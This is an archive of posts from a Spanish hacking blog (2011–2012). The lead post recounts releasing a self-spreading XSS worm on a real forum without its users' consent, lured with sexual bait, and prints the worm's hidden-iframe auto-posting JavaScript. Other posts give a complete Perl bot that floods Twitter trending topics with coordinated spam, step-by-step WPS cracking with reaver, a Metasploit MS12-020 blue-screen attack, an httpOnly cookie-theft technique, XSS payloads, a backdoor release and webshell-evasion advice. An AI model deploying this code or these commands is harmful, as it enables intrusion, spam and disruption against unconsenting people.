0V3RL04D 1N TH3 N3T

0verXW: semilla de un XSS Worm

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Thu, 10 May 2012 08:04:00 PDT

¡Saludos gente!

    El día de ayer estuvimos realizando un pequeño experimento en cierto foro: la creación y observación de un XSS Worm inofensivo. Resumiendo un poco la historia, la idea surgió a primera hora de la mañana (en España), a eso de las 6 o las 7 del día, después de no haber dormido ni pizca. Estaba en el IRC con Seth charlando sobre viejas batallitas cuando recordé la existencia de un XSS en la web de cierta comunidad. Dicho XSS es conocido desde hace como mínimo 5 años, pero nunca se parcheó: como la web ya no se usaba, se borró el index, pero el resto de partes siguen todavía vivas y accesibles (¡un fuerte aplauso al admin!). Al linkearle la web vulnerable, no se le ocurrió a Seth otra cosa que dar una idea hipertentadora: codear un worm y soltarlo en el foro. Los que conozcais este blog desde sus inicios recordareis que siempre tuve cierta fascinación por este tipo de temas (XSS Worms: El terror de las redes sociales, asi que la idea me encantó. Empecé a codear el worm, con bastantes problemas. Problemas del tipo: llevo demasiadas hora sin dormir y me estoy volviendo gilipollas por momentos y no consigo escribir bien una función; pero con la ayuda de Seth los conseguí solventar, no sin antes acordarme de la p*ta madre de todas las deidades.

      Lo que codeé fue un simple PoC para probar si realmente se podría extender y aumentar con el tiempo la tasa de "infectados". Quería hacer una semilla, un inicio, y si funcionaba empezar un proyecto: codear un XSS Worm para SMF. Y como este experimento funcionó a las mil maravillas os puedo adelantar que este verano empezaré el proyecto (ya os iré informando de cómo evoluciona).

El XSS al no encontrarse dentro del foro, sino en la web, nos ponía el inconveniente de que era necesario que los usuarios hicieran click sobre un enlace para poder ejecutar el script. Esto sinceramente me desanimó bastante, porque empecé a temer que la gente no hiciera click. Pero todos estos temores eran infundados, ya que con un poco de ingeniería social (a.k.a chicas enseñando las tetas) todos hacen click. El objetivo que quería conseguir era la esencia propia de un worm, es decir, que se lleve a cabo su propagación de forma involuntaria, por lo que el script no iba a contener ningún payload real, únicamente tendría que añadir el enlace que ejecutaba el JS para que otro usuario incauto clickase sobre él y continuara expandiéndolo.

   El script añade un iframe a la web vulnerable que está dirigido a la página de creación de un nuevo tema, y después se rellenan los campos y se envía el formulario:

function carga() { fri = window.frames['Seth']; fri.document.getElementsByName("subject")[0].value = "La novia de Seth desnuda"; fri.document.getElementsByName("message")[0].value = '[url=URL QUE INFECTA][img]http://imgserv.ya.com/foros3.ya.com/pub/uploadedimg/8/o/i_1vkx9impdl1wq_mox631o8.jpg[/img][/url][br]¡Haz click en la imagen para ver toda la galeria!'; fri.document.getElementsByName("postmodify")[0].submit(); } document.write('<iframe style="display:none" name="Seth" src="url del formulario para crear el tema" onload="carga()"></iframe>');

Sobre este sencillo script se podrían hacer mil cosas para mejorarlo, pero como dije al principio unicamente perseguíamos la comprobación de si realmente se iba a expandir o no. El post que se generaba era el siguiente:

Como podeis observar el título del tema invita a los morbosos a ver desnuda a la novia de uno de los usuarios, que junto a la imagen de la peligroja, parecen ser un imán de clicks. Para ocultar un mínimo la URL pensé en utilizar alguno de los servicios online que permiten acortar la ULR, pero todos ellos detectaban el XSS y me impiedían la acortación. Para poder bypassear esta restricción subí un archivo PHP, al mismo dominio donde estaba el script, que se encargaba de realizar una redirección para explotar el XSS, y éste archivo de mi dominio fue el que puse en el acortador. Una vez que ya todo estaba preparado lo único que nos faltaba era un usuario que activase el mecanismo. En este caso escogí a un usuario que estaba en el IRC:

16:13 :                     XC3LL ¦ codek`-`¿has visto la peli de 28 días despues ?
16:13 :                codek`-` ¦ hmm
16:13 :                codek`-` ¦ creo que no no me suena
16:14 :                codek`-` ¦ por??
16:14 :                     XC3LL ¦ y con el amanecer de los muertos vivientes ?
16:15 :                     XC3LL ¦ (URL maliciosa)
16:15 :                 PHPIdler ¦ Title: Acorta tus Url: Haz tus Url más fáciles de recordar - XURL.es
16:15 :                codek`-` ¦ xDD
16:15 :                codek`-` ¦ creo que tampoco
16:15 :                codek`-` ¦ la verdad no soy muy cinéfilo
16:16 :                     XC3LL ¦ [codek`-`] entonces no pillarás el chiste de esa URL xD
16:16 :                codek`-` ¦ voy a intentarlo
16:16 :                codek`-` ¦ xDD
16:16 :                codek`-` ¦ :o
16:16 :                codek`-` ¦ e entrao
16:17 :                codek`-` ¦ que me has infectado de algo?
16:17 :                     XC3LL ¦ [codek`-`] Nopes =/
16:17 :                     XC3LL ¦ Pero debería de haber pasado otra cosa =/
16:17 :                     XC3LL ¦ Ahora
16:17 :                     XC3LL ¦ Ahora ya funca
16:17 :                     XC3LL ¦ JAJA
16:17 :                codek`-` ¦ me metido (comunidad vulnerable)
16:18 :                codek`-` ¦ pero no en el foro
16:18 :                     XC3LL ¦ [jep_py] ¡ Esta vivo!
16:18 :                     XC3LL ¦ [jep_py] ¡Esta vivo!

Gracias a este infectado, poco a poco se fueron generando temas, conforme la gente iba clickando, otro tema se iba creando. Algunos usuarios se dieron cuenta pronto y pusieron el grito en el cielo. En cambio, la inmensa mayoría, seguía cayendo. He de decir que yo también caí en mi propio worm por error. Para que no se acumulasen en exceso empecé a borrar basantes, pero después lo dejé crecer para ver hasta que punto llegaba. En cierto momento tomé un pantallazo como recuerdo (clickad en ella para verla más grande):

Con este inofensivo worm pasemos un gran día ayer. Fue bastante divertido y quisiera agradecer a Seth (por ser la fuerza generatriz), a Jep y Codek (por echar una mano y ser los primeros "infectados"), a RGB (por permitirme hacer el vándalo un rato en su foro -él es el administrador del foro, no de la web ni el servidor, no tiene culpa de que no parcheen el XSS-) y a aquellos usuarios que se dieron cuenta de lo que estaba pasando y que les pedí que guardasen el secreto hasta el día siguiente. Me he divertido bastante con este experimento, y me ha servido para decidirme a hacer el proyecto que mencioné más arriba: un worm para SMF. Creo que no me dejo nada en el tintero, si es así ya lo añadiré cuando me acuerde.

Byt3z

Atacando un punto de acceso con WPS

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Tue, 01 May 2012 10:00:00 PDT

Hace unos meses surgió una vulnerabilidad que afectaba a un tipo de autentificación mediante WPS que por falta de hardware, no había podido probar hasta ahora.

En este post voy a intentar explicar como explotarla, como siempre desde Backtrack 5 R2.
Lo primero será comentar los tres tipos de conexión mediante WPS:

En el primer método el router posee un botón que al pulsarlo y activar su correspondiente enlace del dispositivo que quiera conectarse se establecerá la conexión entre ambos, este método no es afectado por la vulnerabilidad.
El siguiente método consiste en agregar desde el router el dispositivo deseado, este tipo, como la anterior tampoco es vulnerable.
El tercero y último consiste en que el dispositivo que desea conectarse introducirá un pin proporcionado por el router y se establecerá la conexión. Este método SI QUE ES VULNERABLE.

Ahora que ya sabemos que tipo de WPS es vulnerable vamos a conocer el alcance de la vulnerabilidad:

Con este ataque podemos obtener el pin de acceso (para conectarnos por WPS), pero además nos mostrará la clave WPA/WPA2 asociada al punto de acceso (AP), todo esto en unas horas, que comparado con los ataques de diccionario para WPA es mucho mas efectivo.

Para realizar este ataque necesitaremos 2 herramientas, wash y reaver. No voy a entrar en como instalar estas herramientas ya que en Backtrack ya vienen incluidas, aunque podemos descargarlas de aquí (en el interior del .tar.gz, en el directorio docs explica como instalarlo).

Para empezar a trabajar necesitamos poner nuestra tarjeta en modo monitor, para ello utilizaremos la herramienta airmon-ng (perteneciente a la suite Aircrack-ng):

airmon-ng start <interfaz>

para el ejemplo:

airmon-ng start wlan0

La interfaz en modo monitor pasará a ser mon0.

Nuestro siguiente paso es buscar puntos de acceso vulnerables con WPS al alcance, para ello usaremos wash.

wash -i <interfaz>

para el ejemplo:

wash -i mon0

aquí veremos los AP vulnerables, nosotros escogeremos "wireless" y apuntaremos su MAC (00:22:33:44:55:66).

Ahora ya tendremos solo nos quedará lanzar reaver y esperar:

reaver -i <interfaz> -b <MAC del punto de acceso>

siguiendo con el ejemplo:

reaver -i mon0 -b 00:22:33:44:55:66

Como vemos en la última imagen hemos obtenido el pin WPS junto con la clave WPA, todo en unas 3 horas (en otras pruebas que hice el proceso duró unas horas mas, unas 11 concretamente xD).

Como el proceso puede durar bastante tiempo, y para no perder las pruebas realizadas, reaver nos permite suspender la sesión para continuarla cuando nos venga bien, esto es tan simple como interrumpir el programa con CTRL+C:

y para continuarlo volvemos a llamar a reaver de la misma forma que antes (reaver -i <interfaz> -b <MAC del punto de acceso>):

Documentos interesantes:
Un post en Seguridad Wireless donde toca algunas opciones mas de la herramienta: http://foro.seguridadwireless.net/manuales-wireless/manual-reaver-en-castellano
El PDF original que documenta la vulnerabilidad se puede encontrar aquí: http://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf

Con este par de documentos me despido, nos leemos en breve.

Aetsu

DVWAP + XAMPP en Ubuntu

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Fri, 23 Mar 2012 05:46:00 PDT

En esta entrada voy a hablaros sobre DVWA un framework que nos permite practicar diversos ataques a infraestructuras web (XSS, SQLi, File inclusion...), todo esto sin meternos en problemas legales.
Siendo novato en estos temas (a diferencia de mis compañeros de blog ;)) me está viniendo bastante bien para conocer los fundamentos de estos ataques de forma fácil y controlada, con lo que me dispongo a comentaros como instalar este interesante banco de pruebas de la forma más simple posible.

Nota: La instalación la he realizado en una máquina virtual con Ubuntu 10.04 y XAMPP, por tanto explicare como configurarlo sobre esta distribución.

[---] Lo primero será configurar XAMPP con la finalidad de hacer funcionar después DVWA sobre este, para ello partimos de un Ubuntu instalado (su instalación es muy simple y no entra en la finalidad de este post), así que descargamos XAMPP de su web :

http://www.apachefriends.org/download.php?xampp-linux-1.7.7.tar.gz

y procedemos a la instalación como muy bien nos explican en su web:
[+] Nos autenticamos como root:

su

[+] Extraemos el archivo descargado en /opt:

tar xvfz xampp-linux-1.7.7.tar.gz -C /opt

[+] Esto instalará un apache+php+mysql en /opt/lampp.

[+] Para ejecutarlo basta con:

/opt/lampp/lampp start

y veremos algo como esto:

Starting XAMPP for Linux 1.7.7...
XAMPP: Starting Apache with SSL (and PHP5)...
XAMPP: Starting MySQL...
XAMPP: Starting ProFTPD...
XAMPP for Linux started.

[+] Para finalizar este paso comprobaremos que está correctamente instalado poniendo en nuestro navegador:

http://localhost

[---] Una vez instalada la base(XAMPP) vamos a descargar DVWA e "instalarlo", esto lo podemos hacer desde:

http://dvwa.googlecode.com/files/DVWA-1.0.7.zip

y nos descargará un pequeño archivo de 1,3 Mb.

[+] Nuestro siguiente movimiento será extraerlo en /opt/lampp/htdocs:

unzip DVWA-1.0.7.zip -d /opt/lampp/htdocs/

[+] Comprobamos que todo funciona bien accediendo con el navegador a:

http://localhost/dvwa

[+] En este momento veremos una pantalla de login, que tenemos que rellenar con:

Username = admin
Password = password

y pulsamos en "login" con lo que accederemos al panel principal de la aplicación.

[+] Por último solo nos quedará instalar/configurar la base de datos de DVWA, esto es tan simple como:

Menú derecho -> Setup y pulsamos en "Create/Reset Database"

Con esto ya tendremos todo configurado para poder acercarnos a este mundo de una forma controlada, segura y sin complicaciones.

Antes de despedirme comentaros que esta implementación de DVWA dista muchísimo de ser segura, tanto la configuración de XAMPP como de la aplicación no son seguros y deberían instalarse en un entorno controlado para evitar sustos.

Ahora sí me despido, nos leemos en breve ;)

Aetsu

Metasploit y MS12-020

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Mon, 19 Mar 2012 17:51:00 PDT

Recientemente ha aparecido una vulnerabilidad que afecta a Windows y su implementación del protocolo RDP (Remote Desktop Protocol) desde XP hasta W7.

Como era previsible, hace poco empezaban a llegar noticias de exploits funcionales que aprovechaban esta vulnerabilidad realizando un DoS al equipo víctima, pero hoy he leído que Metasploit ya incorpora el exploit en su base de datos así que vamos a ver como aprovechar esto.

Para la demostración he utilizado una máquina virtual con Backtrack 5 R2 junto con Metasploit que ya viene instalado en esta distribución.

Lo primero que tenemos que hacer es actualizar metasploit, para ello utilizamos en una terminal:

msfupdate

Si os da problemas como a mí, haced lo siguiente que he encontrado aquí:

cd /opt/metasploit/common/lib
mv libcrypto.so.0.9.8 libcrypto.so.0.9.8-b
mv libssl.so.0.9.8 libssl.so.0.9.8-backup
ln -s /usr/lib/libcrypto.so.0.9.8
ln -s /usr/lib/libssl.so.0.9.8
msfupdate

El siguiente paso es arrancar metasploit con:

msfconsole

a continuación escogemos el módulo a utilizar:

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

Si queremos ver los parámetros que requiere para su funcionamiento junto con información del módulo podemos usar

info

Como vemos con el comando info requiere del parámetro RHOST referente a la IP del objetivo (en el ejemplo 192.168.0.107), para asignarlo basta con:

set RHOST <ip>

en este caso:

set RHOST 192.168.0.107

y por último lanzamos el exploit:

run

Con esto deberíamos ver un ~~precioso~~ pantallazo azul en el Windows objetivo :D

Puesto que este era un post práctico he intentado ir lo mas directo que he podido, si queréis más información sobre la vulnerabilidad aquí tenéis unos enlaces interesantes:

Con todo esto me despido, y a ver si consigo aumentar mi participación en este blog, un saludo ;)

Aetsu

Tutorial: construyendo "Kidnapped Trending Topics" (0verKTT.pl v0.2)

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Fri, 02 Mar 2012 15:29:00 PST

Saludos,

Antes que nada quiero aclarar que yo no soy programador, y que por ello la gente que sí se dedique a la programación quizás se encuentre muchos errores básicos en el script. Mi única intención con este breve tutorial es acercar un poco el cómo pasar de una idea abstracta en la cabeza a una herramienta. Dejando esto claro, continúo.

La idea de la herramienta que tenía era la de un bot spammer automático que twiteara un mensaje de spam en los Trending Topics del momento, y que además esta herramienta se pudiera coordinar con otros ordenadores que también la tuvieran corriendo, para realizar de esta forma un floodeo con el mismo mensaje. Por lo tanto teníamos que resolver los siguientes problemas:

1) Conseguir loguearnos en Twitter y poder escribir tweets
2) Averiguar los TTs del momento
3) Coordinar el ataque

--[0x01 Trabajar con Twitter: misión API]---->

Lo primero que tuve que hacer fue investigar cómo diablos poder autenticarnos desde una aplicación en twitter y tener acceso a la API, respuesta que encontré en un documento de la sección de twitter para desarrolladores. De ahí pude sacar en claro que para poder postear tweets era necesario previamente una autenticación 0auth, consistente en un par de claves asignadas a la herramienta y otro par de claves asignado al usuario. Para poder obtener dichas claves se debe de registrar previamente el proyecto de la herramienta en Twitter Developers (cuentas falsas, cof cof), donde tendremos que seleccionar qué permisos queremos darle a la herramienta.

Una vez descubierto cómo tener acceso a la API de twitter sólo restaba averiguar si tenía que hacer todas las conexiones en crudo o existía algún wrapper que me permitiera agilizar las operaciones, por lo que hice una búsqueda en CPAN y me encontré con que existía un módulo llamado Net::Twitter para tal fin. Consultando su documentación podía verse que para la autenticación no había ningún misterio, simplemente asignar a las variables necesarias:

Código: Perl

use Net::Twitter;

my $nt = Net::Twitter->new(
traits => [qw/OAuth API::REST/],
consumer_key => $consumer_key,
consumer_secret => $consumer_secret,
access_token => $token,
access_token_secret => $token_secret,
);

$consumer_key y el resto de variables son las claves que nos dieron al registrar el proyecto de la herramienta.

--[0x02 Extraer los TTs del momento]---->

El siguiente paso lógico es averiguar cuales son los TTs para poder postear en ellos. Los TTs podemos encontrarlos en formato JSON en la URL http://api.twitter.com/1/trends/1.json , por lo que para poder extraer los datos que nos interesan tenemos que tirar de regexp o usar un módulo, que en este caso se llama JSON y permite el trabajo con los datos de estos ficheros de forma sencilla. Luego en resumidas cuentas tenemos que lanzar una petición GET al archivo 1.json y después extraer de él los datos que nos interesan:

Código: Perl

use LWP::UserAgent;
use JSON;

sub sacarTT {

$nav = LWP::UserAgent->new;
$nav = $nav->get('http://api.twitter.com/1/trends/1.json');
$nav = $nav->decoded_content;
$json_result = from_json($nav);

return $json_result;

}

Como podemos comprobar estoy usando una subrutina que me devolverá el contenido de 1.json decodificado.

--[0x03 Coordinar el ataque]---->

El siguiente problema a resolver es encontrar una forma simple y efectiva de poder coordinar todas las herramientas, de tal forma que todas posteen el mismo mensaje, además de que en caso de que el mensaje cambie, la herramienta detecte este cambio y postee el nuevo mensaje. Tras pensarlo detenidamente he creído sacar en claro que la manera que aporta más ventajas es a través de .txt localizados en algún servidor. Es decir, se colocaría un .txt con la frase en un servidor, y todos los usuarios de la herramienta tendrían que pasar como parámetro la URL donde se encuentra el mensaje. Las ventajas que encuentro a este sistema es que es independiente de las herramientas, puede modificarse el .txt rápidamente, pesa poco y se puede ir cambiando la localización de éste en distintos servidores. Si se quiere rizar el rizo se podría aplicar algún tipo de encriptación, pero en mi caso no lo he hecho.

Por lo tanto con que la herramienta haga una simple petición GET al archivo .txt y lea el contenido será suficiente:

Código: Perl

sub actu {

$nav = LWP::UserAgent->new;
$nav = $nav->get($_[0]);
$nav = $nav->decoded_content;

return $nav;

}

--[0x04 Twitteando que es gerundio]---->

Habiendonos autenticado ya, extraído cuales son los TTs, y conociendo qué mensaje queremos dar, sólo nos queda twittear. Para ello tiraremos de un bucle foreach que aplicaremos a lo que nos devuelva la subrutina &sacarTT para ir sacando los hashtags, los cuales serán añadidos al mensaje de SPAM, e ir actualizando nuestro estado:

Código: Perl

$TT = &sacarTT;
foreach $trend (@{$TT->[0]->{'trends'}}) {

$xc = $trend->{'name'};
print $xc . "\n";
$spam = $Tweet . " " . $xc;
$nt->update($spam);
sleep 45;
}

}

Podeis ver que no tiene misterio alguno ya que gracias al uso de módulos todo el código se resume en apenas unas pocas líneas.

--[0x05 Detalles finales]---->

Por último sólo nos queda atar algunos cabos sueltos, como es que la herramienta sea "automática", o en otras palabras, que trabaje en un bucle infinito:

Código: Perl

while(true) {

Código que se tiene que repetir

}

Además de comprobar si se le ha pasado el argumento con la URL:

Código: Perl

$ARGC = @ARGV;
if ($ARGC != 1){
print "\nUso: 0verKTT.pl <url del txt>";
exit(0);
}

--[0x06 Código completado]---->

El source de la herramienta una vez integrado todo sería el siguiente:

Código: Perl

#Tutorial para CPH
#Codeado por The X-C3LL
#http://0verl0ad.blogspot.com

use Net::Twitter;
use LWP::UserAgent;
use JSON;

my $consumer_key = "";
my $consumer_secret = "";
my $token = "";
my $token_secret = "";

$ARGC = @ARGV;
if ($ARGC != 1){
print "\nUso: 0verKTT.pl <url del txt>";
exit(0);
}

print q(
-===Kidnapping Trending Topics v0.2 Public===-
By The X-C3LL

);

print "[-->] Autenticandonos en Twitter... \n";

my $nt = Net::Twitter->new(
traits => [qw/OAuth API::REST/],
consumer_key => $consumer_key,
consumer_secret => $consumer_secret,
access_token => $token,
access_token_secret => $token_secret,
);

while(true) {

print "[-->] Conectando con el servidor [" . $ARGV[0] . "]...\n";
$Tweet = &actu($ARGV[0]);
print "[-->] Tweet actual... " . $Tweet . "\n";
print "[-->] Trends Spammed...\n\n";

$TT = &sacarTT;
foreach $trend (@{$TT->[0]->{'trends'}}) {

$xc = $trend->{'name'};
print $xc . "\n";
$spam = $Tweet . " " . $xc;
$nt->update($spam);
sleep 45;
}

}

sub sacarTT {

$nav = LWP::UserAgent->new;
$nav = $nav->get('http://api.twitter.com/1/trends/1.json');
$nav = $nav->decoded_content;
$json_result = from_json($nav);

return $json_result;

}

sub actu {

$nav = LWP::UserAgent->new;
$nav = $nav->get($_[0]);
$nav = $nav->decoded_content;

return $nav;

}

--[0x07 Comentario final]---->

Esta herramienta está diseñada para aprender, no para ser usada, con esto quiero decir que espero que no sea usada por la jauría de Skiddies para jugar a los Anonymous. Como dije al principio no soy programador, por lo que habré errado en cosas simples, y probablemente habré hecho las cosas de la forma menos eficiente, pero si a alguien le sirve, bienvenido sea.

CVE-2012-0053: Capturando cookies httpOnly

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Sun, 19 Feb 2012 01:44:00 PST

¡Saludos!

Por el tema de los exámenes y demases he dejado estas semanas el blog un poco apalancado, pero ya estoy un poco más online y puedo publicar cosas. Hoy voy a explicar brevemente en qué consiste el CVE-2012-0053, ya que he visto en un par de foros preguntar acerca de él.

Esta vulnerabilidad, descubierta por Hippert (fuente original aquí) permite poder robar aquellas cookies que tienen el flag httpOnly. ¿Qué es "httpOnly"? Es una medida de seguridad extra que impide a los lenguajes que corren desde el lado del cliente poder trabajar con una cookie, es decir, evita poder leer / escribir sobre esa cookie. Esto tiene implicaciones claras a la hora de preservar la integridad de esa cookie, bloqueando de esta forma la captura por el método clásico de un XSS.

Ahora bien, ¿si no podemos hacer que un script acceda a la cookie, como podremos robarla?. Hete aquí la idea: hecha la ley, hecha la trampa. Si no podemos acceder a la cookie, tendremos que hacer que el contenido de la cookie sea devuelto en alguna parte donde sí podamos acceder a ella. Esta triquiñuela ya la hizo Jeremiah Grossman en su paper sobre XST (XSS + método TRACE, un must read para todos los que siempre envían algún mensaje tipo "kiero juankear la web d mi vcino y le e pasao n escaner y me dic k tiene habilitado TRACE ke es eso"). En este caso la idea es que el contenido de la cookie sea devuelto dentro del cuerpo del documento, donde podremos acceder fácilmente con un script.

Para lograr este fin Hipper recurre a provocar un error 400 (Bad Request) en el servidor, ya que en el mensaje de error se muestran los parámetros enviados, y entre ellos encontraremos la cookie. Para poder generar dicho error simplemente podemos enviar una cabecera HTTP con una cookie de un tamaño que sobrepase el límite:

Y el servidor vulnerable (recordemos que se trata de las versiones de apache 2.2.0 - 2.2.21 ) nos soltará un error 400, porque hemos excedido el límite de tamaño, donde encontraremos nuestra ansiada cookie :)

(En verde está la cookie de sesión original con el flag httpOnly, y en rojo los caracteres para provocar el error.)

Para poder robar una cookie en un servidor vulnerable a XSS y a esta técnica, lo que tendremos que hacer es utilizar XMLHttpRequest para adherir la cookie gigante a la cookie original, y de esta forma provocar el error. El resto sería símplemente leer lo que deseamos del documento HTML. El descubridor hizo un pequeño PoC que podeis ver aquí.

Root Codes

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Wed, 25 Jan 2012 01:30:00 PST

¡Saludos!

Escribo esta entrada para dar a conocer la web Root Codes de mi amigo @0x5d (JaAvier). En ella podremos encontrar sources, tutoriales y libros (todo orientado a la programación). Además nos permite mandar nuestros propios programas para que sean publicados allí.

Backfos v0.3 [A perl backdoor]

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Wed, 11 Jan 2012 16:52:00 PST

¡Saludos!

Hechando un vistazo en mi discoduro externo me he encontrado con una carpeta donde fuí metiendo distintas herramientas que estuve creando cuando los miembros del FoS Team estaban activos.

La versión que publiqué fue la v0.2 y es la que podeis encontrar en varios foros y comunidades, pero en la mencionada carpeta encontré una v0.3 que en teoría te mostraba los rootexploits a los que era vulnerable la versión del kernel del servidor donde lo ejecutabas, por lo que tenía un gran interés.

No la he vuelto a probar, por lo que no sé si es funcional, confirmadmelo en los comentarios.

Source => BackFoS v0.3

HotWords hace tu foro vulnerable

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Fri, 06 Jan 2012 06:41:00 PST

¡Saludos!

Estos últimos días encontré casi por error un XSS en Foro PortalHacker. Al moderar la sección de "Seguridad Web" me encontré con que en algunos posts los tags HTML eran incluidos tal cual, sin filtrado alguno, por lo que éstos eran interpretados por el navegador. Este hecho me extrañó bastante en tanto que el foro es SMF, y en las versiones anteriores no me había encontrado con esta vulnerabilidad.

Empecé a investigar un poco más y me topé con que este hecho no se daba en todos los posts, sino que únicamente aparecía en aquellos donde había publicidad (apenas unos días antes se había incluido para poder cubrir gastos, sin aviso alguno al staff), y únicamente cuando el tag HTML estaba cerca de una palabra reseñada con publicidad.

Asi que empecé a hacer pruebas como loco, y a la conclusión que llegué es que SMF realiza el filtrado de la forma correcta, convirtiendo < en < pero posteriormente cuando HotWords incluye la publicidad, transforma < en < y por tanto quedan como tags HTML.

Habiendo encontrado cómo actuaba, sólo me quedaba encontrar una forma de explotarlo 100% efectiva. Para tal fin, lo que había que hacer era crear un post en el cual incluimos alguna de las palabras que solía reseñar con publicidad, como "web", "video" o "bueno", y posteriormente editar el post para colocar junto a la palabra reseñada el exploit (<img src="." onerror="alert(8);">).

Otro método alternativo para que HotWords bypasseara el filtro anti-XSS de SMF fue encontrado por @0x5d, y consistía en crear un post con: <img src="." onerror="alert(8)" alt="bueno">.

Actualmente se ha eliminado hotWords del foro, por lo que no es vulnerable ya.

Megaupload y los DNS

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Tue, 29 Nov 2011 14:09:00 PST

Parece que algunos que usamos ciertos DNS tenemos problemas con megaupload como vemos en noticias como:
-> http://www.fayerwayer.com/2011/11/confiscacion-de-dominio-vuelve-inaccesible-a-megaupload

Una solución para esto es cambiar nuestros DNS por los de openDNS (por poner un ejemplo) con los que si que funciona:

208.67.222.222 / 208.67.220.220

La otra forma de acceder es no utilizar un servidor dns y acceder mediante IP. Veamos mediante que ips podemos acceder a megaupload:

[alpha@alpha-pc ~]$ nslookup www.megaupload.com
Server:        208.67.222.222
Address:    208.67.222.222#53

Non-authoritative answer:
Name:    www.megaupload.com
Address: 174.140.154.20
Name:    www.megaupload.com
Address: 174.140.154.21
Name:    www.megaupload.com
Address: 174.140.154.22
Name:    www.megaupload.com
Address: 174.140.154.23
Name:    www.megaupload.com
Address: 174.140.154.24
Name:    www.megaupload.com
Address: 174.140.154.12
Name:    www.megaupload.com
Address: 174.140.154.13
Name:    www.megaupload.com
Address: 174.140.154.14
Name:    www.megaupload.com
Address: 174.140.154.15

Cualquiera de las ips mostradas con nslookup nos llevará a www.megaupload.com.

Si ahora queremos acceder a un archivo, podemos hacerlo concatenando una de las IPs obtenidas antes junto con la url de megaupload quitando la parte de "www.megaupload.com".

Con ejemplos se ve más claro:

Si tenemos la url -> http://www.megaupload.com/?d=ES4KXK52

su equivalente seria -> http://174.140.154.15/?d=ES4KXK52

es decir -> 174.140.154.15 + ~~http://www.megaupload.com~~/?d=ES4KXK52

174.140.154.15/?d=ES4KXK52

Con una de estas dos posibilidades podemos salir al paso y continuar teniendo acceder a megaupload mientras se soluciona este contratiempo.

Actualización:
Como ha comentado un usuario en otro blog donde había publicado el post al pulsar el botón de descarga nos daba un error de que la pagina no existía. Esto sucede porque megaupload utiliza otra url para descargar los archivo, ahora veremos como lo solucionamos:

Una vez nos aparezca el botón de descargar si ponemos el cursor sobre el veremos que la url cambia a www122.megaupload.com con lo al realizar un nslookup sobre la dirección vemos una ip distinta a las anteriores:

[alpha@alpha-pc ~]$ nslookup www122.megaupload.com
Server:        208.67.222.222
Address:    208.67.222.222#53

Non-authoritative answer:
Name:    www122.megaupload.com
Address: 95.211.95.67

Con esta información pulsamos sobre el botón de descarga y nos saldrá un error, que siguiendo con el ejemplo anterior sería:

http://www122.megaupload.com/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf

entonces realizaremos el mismo proceso que antes:

Si tenemos la url -> http://www122.megaupload.com/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf

su equivalente seria -> http://95.211.95.67/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf

es decir -> 95.211.95.67 + ~~http://www122.megaupload.com~~/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf

http://95.211.95.67/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf

Con todo esto ya deberíamos poder descargar sin problemas ;)

Un saludo

Aetsu

Paper #breaking80211

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Tue, 22 Nov 2011 16:32:00 PST

Buenas, soy Aetsu y a partir de ahora escribiré, si mi tiempo me lo permite, algunos post sobre temas de seguridad, redes, GNU/Linux o programación.

Solo queda agradecer a The X-C3LL que me permita participar en el blog y aquí os dejo mi último paper, #breaking80211:

#breaking80211

by Aetsu

--- Contenido ---

[+] Introducción

[+] Materiales/Herramientas utilizados

[+] Conceptos básicos

[-] Cambiar dirección MAC
[-] Modo monitor

[+] Cifrado WEP
[-] Ataque 1+3
[-] Ataque Chop Chop
[-] Ataque fragmentación
[-] Hirte Attack
[-] Caffe Late Attack

[+] Cifrado WPA
[-] Obteniendo el handshake
[-] Obteniendo la contraseña: Aircrack-ng
[-] Obteniendo la contraseña: coWPAtty
[-] Obteniendo la contraseña: Pyrit
[-] Obteniendo la contraseña: Rainbow Tables
[-] Rainbow Tables -> coWPAtty
[-] Rainbow Tables -> Pyrit

[+] Otras defensas
[-] Filtrado MAC
[-] Ataque de desasociación
[-] ESSID oculto

[+] Descifrar capturas
[-] Airdecap-ng + WEP
[-] Airdecap-ng + WPA

[+] Ataques sociales -- Creación de puntos de acceso
[-] Airbase-ng + brctl
[-] Airbase-ng + iptables

[+] Ataque sociales -- Ataques en LAN
[-] DNS-spoofing con Ettercap y Metasploit
[-] S.E.T.

[+] Ataques sociales -- Todo en uno
[-] Karmetasploit

[+] Documentación

[+] Enlace a exploit-db: -- DESCARGAR --

[+] Enlace scribd: -- LEER ON-LINE --

Un saludo y hasta la próxima ;)

Indetectando webshells y backdoors

lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras") — Tue, 22 Nov 2011 14:46:00 PST

¡Saludos!

En los últimos años la cantidad de "defaces" se ha incrementado bastante, por lo que no es de extrañar que estén apareciendo cada vez más herramientas dedicadas a la detección de webshells y backdoors -como NeoPI-, que junto a los AVs, intentan limpiar los servidores.

La primera línea de detección de los AVs y las herramientas orientadas a WSD (WebShell Detection) está basada en firmas. Un método de detección bastante simple y extendido es el de uso de checksums a modo de firma, que consiste en comparar los hashes de los archivos del servidor con los existentes en una lista negra. En dicha lista se encuentran los checksums de backdoors y webshells de los que ya tienen constancia las compañías de AVs. Esta técnica de detección es fácilmente evadible, puesto que añadiendo un comentario en el source se modificaría radicalmente su checksum y ya no sería detectado.

La detección de firmas suele ir más allá, tratando de encontrar nombres de funciones declaradas dentro de la propia webshell, o incluso trozos de código que sean típico. Este método puede surtir efecto en aquellas shells "clásicas" (como la C99, por ejemplo) a partir de las cuales se han ido distribuyendo distintas versiones con pequeñas modificaciones del código, pero que en esencia las funciones propias siguen manteniendo los mismos nombres, o incluso grandes porciones del código, por lo que la detección es inmediata.

